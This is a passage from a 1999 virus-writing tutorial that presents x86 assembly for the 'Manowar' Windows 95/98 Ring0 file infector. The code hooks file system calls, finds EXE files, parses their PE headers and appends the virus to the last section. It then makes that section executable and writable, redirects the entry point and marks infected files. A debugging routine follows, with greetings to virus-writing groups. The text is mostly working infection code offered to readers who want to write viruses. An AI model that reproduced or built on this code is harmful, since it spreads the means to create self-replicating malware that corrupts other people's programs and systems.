Now we are about to make the conversion. The parameter at EBP+28 is the IOREQ structure. In the IOREU structure at offset 12 you have the file namein Unicode format. The pushed parameters are as follows: 0, maximum length, offset of unicode format, offset where to put the asciiz string. You need to put yourself the terminator Z to make it an asciiz string.

>     no_path:                                     ; prepare for unicode conversion
>             push 0                               ; push BCS/WANSI code
>             push 260                             ; maximum filename
>             mov eax, [ebp+28]                    ; get IOREQ
>             mov eax, [eax+12]                    ;
>             add eax, 4                           ;
>             push eax                             ; push filename
>             push esi                             ; push destination
>                                                  ;
>     fix_3_value equ UniToBCSPath+256*256*IFSMgr  ;
>     fix_3:                                       ;
>             vxdcall IFSMgr, UniToBCSPath         ; Convert name!!
>             add esp, 4*4                         ; restore stack
>             add esi, eax                         ; eax = length
>             mov byte ptr [esi], 0                ; make it ASCIIZ string

Now ESI points to the end of the filename. Check to see if it is an exe file:

>             cmp dword ptr [esi-4], exe_ext       ;
>             jne notexe                           ;

And if so, let's start the operations to open the file:

>             lea esi, [edi+filename-start]        ; let's open the file
>             mov bx, 2                            ;
>             mov cx, 0                            ;
>             mov dx, 1                            ;
>             mov eax, R0_OPENCREATFILE            ;
>             call Ring0_File_IO                   ;
>             jc notexe                            ;
>             mov dword ptr [edi+handle-start], eax; save handle

If the carry flag gets set we have an error and we must exit. Otherwise we save the handle for later. Let's read from the file. First we must read the MS-DOS old header:

>             lea edx, [edi+my_mz_header-start]    ; read MZ dos header
>             mov ebx, dword ptr [edi+handle-start]; file handle
>             mov ecx, IMAGE_DOS_HEADER_SIZE       ; size of mz header
>             mov esi, 0                           ; pointer in file
>             mov eax, R0_READFILE                 ;
>             xchg esi, edx                        ;
>             call Ring0_File_IO                   ;

And now check if it is really an exe file:

>             lea esi, [edi+my_mz_header-start]    ;
>             mov ax, word ptr [esi.MZ_magic]      ; iz the Magic sign there?
>             cmp ax, 5A4Dh                        ;
>             jne fileclose                        ;

Now let's locate the PE header. If it is too far away, something is wrong and we exit. Otherwise we go there and read both the PE header and the optional header. The CRT_MOVE variable will hold the file pointer so we know where to read from:

>             mov esi, dword ptr [esi.MZ_lfanew]   ; locate PE header
>             cmp esi, 500h                        ; is PE header very far away?
>             ja fileclose                         ;
>                                                  ;
>             mov dword ptr [edi+crt_move-start], esi ; save our movement in file
>             mov dword ptr [edi+peheader-start], esi ;
>                                                  ;
>             lea edx, [edi+my_pe_header-start]    ; Read the PE header
>             mov ebx, dword ptr [edi+handle-start];
>             mov ecx, IMAGE_FILE_HEADER_SIZE+IMAGE_OPTIONAL_HEADER_SIZE
>             mov eax, R0_READFILE                 ;
>             xchg esi, edx                        ;
>             call Ring0_File_IO                   ;
>                                                  ;
>             add dword ptr [edi+crt_move-start],\ ; increase our movement
>                           IMAGE_FILE_HEADER_SIZE +  \ ; in the file
>                           IMAGE_OPTIONAL_HEADER_SIZE  ;

We read those too!! Let's see if it is a PE header really, and also quit if we have a library file:

            lea esi, [edi+my_pe_header-start]         ;
            cmp dword ptr [esi.PE_Magic], 00004550h   ; 'PE'/0/0 ?
            jne fileclose                             ;
                                                      ;
            cmp word ptr [esi.Characteristics], 2000h ; DLL?
            je fileclose                              ;

We are about to start the infection procedures. First we locate the last section and we read it:

>                                                  ; let's search the last section
>             xor eax, eax                         ; header start
>             mov ax, word ptr [esi.NumberOfSections]; EAX = HOW MANY SECTIONS
>             mov ecx, IMAGE_SECTION_HEADER_SIZE   ;   ECX = SIZE OF SECTION
>             dec eax                              ; looking for the last
>             mul ecx                              ; we found the displacement
>             mov esi, eax                         ; displacement
>             add esi, dword ptr [edi+crt_move-start]; align entire displacement
>             mov dword ptr [edi+sec_ptr-start], esi; save section header place
>                                                  ;
>             lea edx, [edi+my_section-start]      ; read the last section
>             mov ecx, IMAGE_SECTION_HEADER_SIZE   ;
>             mov ebx, dword ptr [edi+handle-start];
>             xchg esi, edx                        ;
>             mov eax, R0_READFILE                 ;
>             call Ring0_File_IO                   ;

After we read the last section, we first verify if the file wasn't already infected and if no, we save different values that we will need later:

>             lea esi, [edi+my_oh_header-start]    ; save various stuff in PE header
>             cmp dword ptr [esi.OH_Win32VersionValue], 'MWAR'; already?
>             je fileclose                                    ;

>             mov eax, dword ptr [esi.OH_SectionAlignment]    ; Section align
>             mov [edi+S_Align-start], eax                    ;
>             mov eax, dword ptr [esi.OH_FileAlignment]       ; File align
>             mov [edi+F_Align-start], eax                    ;
>             mov eax, dword ptr [esi.OH_AddressOfEntryPoint] ; Original EIP
>             mov [edi+Old_EIP-start], eax                    ;
>             mov eax, dword ptr [esi.OH_SizeOfImage]         ; Size of image
>             mov [edi+SOI-start], eax                        ;
>             mov eax, dword ptr [esi.OH_ImageBase]           ; Image base
>             mov [edi+imagebase-start], eax                  ;

So, here is where you save the original victim's entrypoint and the image base which you absolutely need in order to be able to run the original file. The SizeOfImage is a field you must update and the alignements are used later.

Now we start updating the section. First we increase the size of raw data with the virus size and we align it to file alignement. Also we save the place that the virus will be copied to (original PointerToRawData + original VirtualSize). Also, we must increase the VirtualSize, but this doesn't get aligned:

> >             lea esi, [edi+my_section-start]      ; point the last section
> >             mov eax, dword ptr [esi.SH_PointerToRawData];
> >             add eax, dword ptr [esi.SH_VirtualSize] ;
> >             mov dword ptr [edi+virusplace-start], eax
> >             mov eax, dword ptr [esi.SH_SizeOfRawData] ;
> >             add eax, virussize                   ;
> >             mov ecx, dword ptr [edi+F_Align-start]; and align it to the file
> >             push eax                             ; alignment
> >             push ecx                             ;
> >             xor edx, edx                         ;
> >             div ecx                              ;
> >             pop ecx                              ;
> >             sub ecx, edx                         ;
> >             pop eax                              ;
> >             add eax, ecx                         ;
> >             mov dword ptr [esi.SH_SizeOfRawData], eax ; and store it
> >             mov eax, dword ptr [esi.SH_VirtualSize] ; and now increase VirtualSize
> >             add eax, virussize                   ; with the virus length
> >             mov dword ptr [esi.SH_VirtualSize], eax ;

Now we must set the new characteristics for the section. The section must contain code, be executable and writable:

>             or dword ptr [esi.SH_Characteristics], 00000020h ; code
>             or dword ptr [esi.SH_Characteristics], 20000000h ; executable
>             or dword ptr [esi.SH_Characteristics], 80000000h ; writable

Now we must adjust stuff inside the PE header itself. First, the size of image which is aligned to section alignment:

>             lea esi, [edi+my_oh_header-start]    ; point PE header
>             mov eax, dword ptr [edi+SOI-start]   ; Get OldSizeOfImage
>             add eax, virussize                   ; increase it and then
>             mov ecx, dword ptr [edi+S_Align-start] ; align it to the section
>             push eax                             ; alignement
>             push ecx                             ;
>             xor edx, edx                         ;
>             div ecx                              ;
>             pop ecx                              ;
>             sub ecx, edx                         ;
>             pop eax                              ;
>             add eax, ecx                         ;
>             mov dword ptr [esi.OH_SizeOfImage], eax ;

Now let's modify the Address of Entrypoint to point to our virus. This is Old Virtual Address + New Virtual Size - Virus size:

>             lea esi, [edi+my_section-start]      ; point section again
>             mov eax, dword ptr [esi.SH_VirtualAddress];
>             add eax, dword ptr [esi.SH_VirtualSize];
>             sub eax, virussize                   ;
>             lea esi, [edi+my_oh_header-start]    ;
>             mov dword ptr [esi.OH_AddressOfEntryPoint], eax ;

Also, mark the infection:

>             mov dword ptr [esi.OH_Win32VersionValue], 'MWAR'; inf. marker...

We are done with the header and section adjustments. Now let's write them back to the file. Remember to use the proper position in the file when writing it!!

>             lea edx, [edi+my_section-start]      ; write section to file
>             mov ecx, IMAGE_SECTION_HEADER_SIZE   ;
>             mov ebx, dword ptr [edi+handle-start];
>             mov eax, R0_WRITEFILE                ;
>             mov esi, dword ptr [edi+sec_ptr-start];
>             xchg edx, esi                        ;
>             call Ring0_File_IO                   ;
>                                                  ;
>             lea edx, [edi+my_pe_header-start]    ; write headers to file
>             mov ecx, IMAGE_FILE_HEADER_SIZE+\
>                      IMAGE_OPTIONAL_HEADER_SIZE  ;
>             mov ebx, dword ptr [edi+handle-start];
>             mov eax, R0_WRITEFILE                ;
>             mov esi, dword ptr [edi+peheader-start];
>             xchg edx, esi                        ;
>             call Ring0_File_IO                   ;

After we did all this, before writing the actual virus to the victim we must restore the VxD calls I was talking about before. You will ask, ok you restore them, but still after this you must use them, so, they will get damaged again... True! But... all the VxD calls that get damaged again are _AFTER_ the lines below. So even if they get damaged, next time the code runs, before going over them damaged it goes over the next lines and restores them. The _ABOVE_ VxD calls are already restored!! Hope you got it:

>             mov cx, 20cdh                        ; The VxD call must look like
>             mov word ptr [edi+fix_1-start], cx   ; this:
>             mov eax, fix_1_value                 ;      Int 20h
>             mov dword ptr [edi+fix_1-start+2], eax ;    dw service
>             mov word ptr [edi+fix_2-start], cx   ;      dw vxd
>             mov eax, fix_2_value                 ;
>             mov dword ptr [edi+fix_2-start+2], eax ; Here we simply restore them
>             mov word ptr [edi+fix_3-start], cx   ; because at runtime they get
>             mov eax, fix_3_value                 ; changed to call [some address]
>             mov dword ptr [edi+fix_3-start+2], eax ;
>             mov word ptr [edi+fix_4-start], cx   ;
>             mov eax, fix_4_value                 ;
>             mov dword ptr [edi+fix_4-start+2], eax ;

Now is the time to write our virus to the file:

>             mov edx, edi                         ; write virus to file
>             mov ecx, virussize                   ;
>             mov ebx, dword ptr [edi+handle-start];
>             mov eax, R0_WRITEFILE                ;
>             mov esi, dword ptr [edi+virusplace-start];
>             xchg edx, esi                        ;
>             call Ring0_File_IO                   ;

That's it!!!! Ready! The virus has attached itself to the victim. All we need to do now is to close the file:

>     fileclose:                                   ;
>             mov ebx, dword ptr [edi+handle-start];
>             mov eax, R0_CLOSEFILE                ;
>             call Ring0_File_IO                   ;

Finito!!!! Now we restore all registers, restore all parameters and push them back to the stack and call the old file hook, letting all the things go as if nothing happened:

notexe: ; popa ; ; over_now: ; mov byte ptr [edi+flag-start], 0 ; reset the flag mov eax, [ebp+28] ; here we have the old params push eax ; pushed for the old hook mov eax, [ebp+24] ; push eax ; restore them... mov eax, [ebp+20] ; push eax ; mov eax, [ebp+16] ; push eax ; mov eax, [ebp+12] ; push eax ; mov eax, [ebp+8] ; push eax ; ; db 0b8h ; nexthook dd 0 ; call [eax] ; ...and call old hook address ; add esp, 6*4 ; restore stack ; pop edi ; restore regs pop esi ; pop ebx ; ; leave ; and flee... ret ;

Basically this is the end of the file. What's left is the definition for the Ring0 File Input/Output:

>     fix_4_value equ Ring0_FileIO+256*256*IFSMgr  ;
>     fix_4:                                       ;
>     Ring0_File_IO:                               ;
>             vxdcall IFSMgr, Ring0_FileIO         ;
>             ret                                  ;

This is it... A simple, yet reliable, fast and short Windows95/98 virus. To get a really good grip on the things, browse the real source code for the Manowar 1.0 virus. Also, other very good Ring0 viruses are CIH, Fuck Harry, Next Step, Sexy, and others. However, Quantum's viruses use a special way of getting ring0.

To make a Ring0 virus is not at all an easy task. First of all, it is almost imposible to debug. I think only SoftIce could do this, but I particulary don't like it... So, one way of debugging it, if you cannot get it work is the debug beep. Here is a small routine that makes a beep. It only works if you are in Ring0 and was written by Z0mbie:

>      beep:
>            pushad
>            mov ax, 1000
>            mov bx, 200
>            mov cx, ax
>            mov al, 0b6h
>            out 43h, al
>            mov dx, 0012h
>            mov ax, 34dch
>            div cx
>            out 42h, al
>            mov al, ah
>            out 42h, al
>            in al, 61h
>            mov ah, al
>            or al, 03h
>            out 61h, al
>            l1:
>            mov ecx, 4680
>            l2:
>            loop l2
>            dec bx
>            jnz l1
>            mov al, ah
>            out 61h, al
>            popad
>            ret

Everytime you don't know why your code doesn't work, insert a call to the beep routine. Usually you put them after the VxD calls. If the beep is heard than it's ok. Otherwise some parameters are not ok... Also, be very carefull inside the API_hook routine. ALL and I mean ALL file accesses run through here. If you mess one parameter up very nasty things may happen (remember that windows swaps memory chunks to the swap file in order to have more memory; a mistake in your code might make it loose data and create cross or lost links). So, check very carefull your code. At the first error, reboot imediatelly... Anyway you will get rebooted a thousand times until you make it ;-)

Final word

As a final word here... This method of Ring0 will not last long. That is because the WindowsNT is so well armoured against the user to reach Ring0 that is almost impossible to do it. There is however a way to do it by using Int2E (check RBLIST), but this is not documented and might change. In the near future I will post a new article regarding win32 api residency using the process spawn method. I think that method is much more reliable. Until then, the Ring0 method seems to work pretty ok... Check my Manowar test virus. It infects goat.exe files and sends beeps. Pretty nice for a start... Anyway, like I shared all this with you, even if you knew it already, I tried to concentrate it in an article, please get back to me with any kind of info and I will give you full credit in my future articles and code... Probably my next code will be however my polymorphic engine that works on 32bits...

Greetings

Nothing in this article wouldn't have been possible without the ideas of great coders like:

                    Z0mbie
                    Super
                    Quantum
                    Blue Skull
                    Murkry
                    B0z0

Most of the stuff in here I learned from them... Also, my personal greetings go to the groups:

                      SLAM, 29A, DDT, XZINE, CODEBREAKERS, PWV

Also, a special greet to: VirtualDaemon, Mr.Sandman, Darkman, TheUnforgiven, JQwerty. Great Dudez!!

And a greet to the rockiest band in the world: MANOWAR !!!

                    We met on English ground
                       In a backstage true we heard the sound
                          And we all knew
                              What we had to do!!

                    Manowar, born to live forevermore
                    Born to conquer every shore!!!

                              DEATH TO FALSE METAL  !!
                                 KILL WITH POWER !!

Future

I was thinking to write something here too, but it looks like I already wrote most of the stuff in the final word. I don't know, maybe I'll get married pretty soon (got tired of walking to her and her to me, mainly ;-(). Anyway, I'll try to keep up the work, maintain the list and maybe get in touch with you more!! See you!

            Make love, not war...
            Oh, hell! Make them both: Get married!!

Be well,

Lord Julus - 1999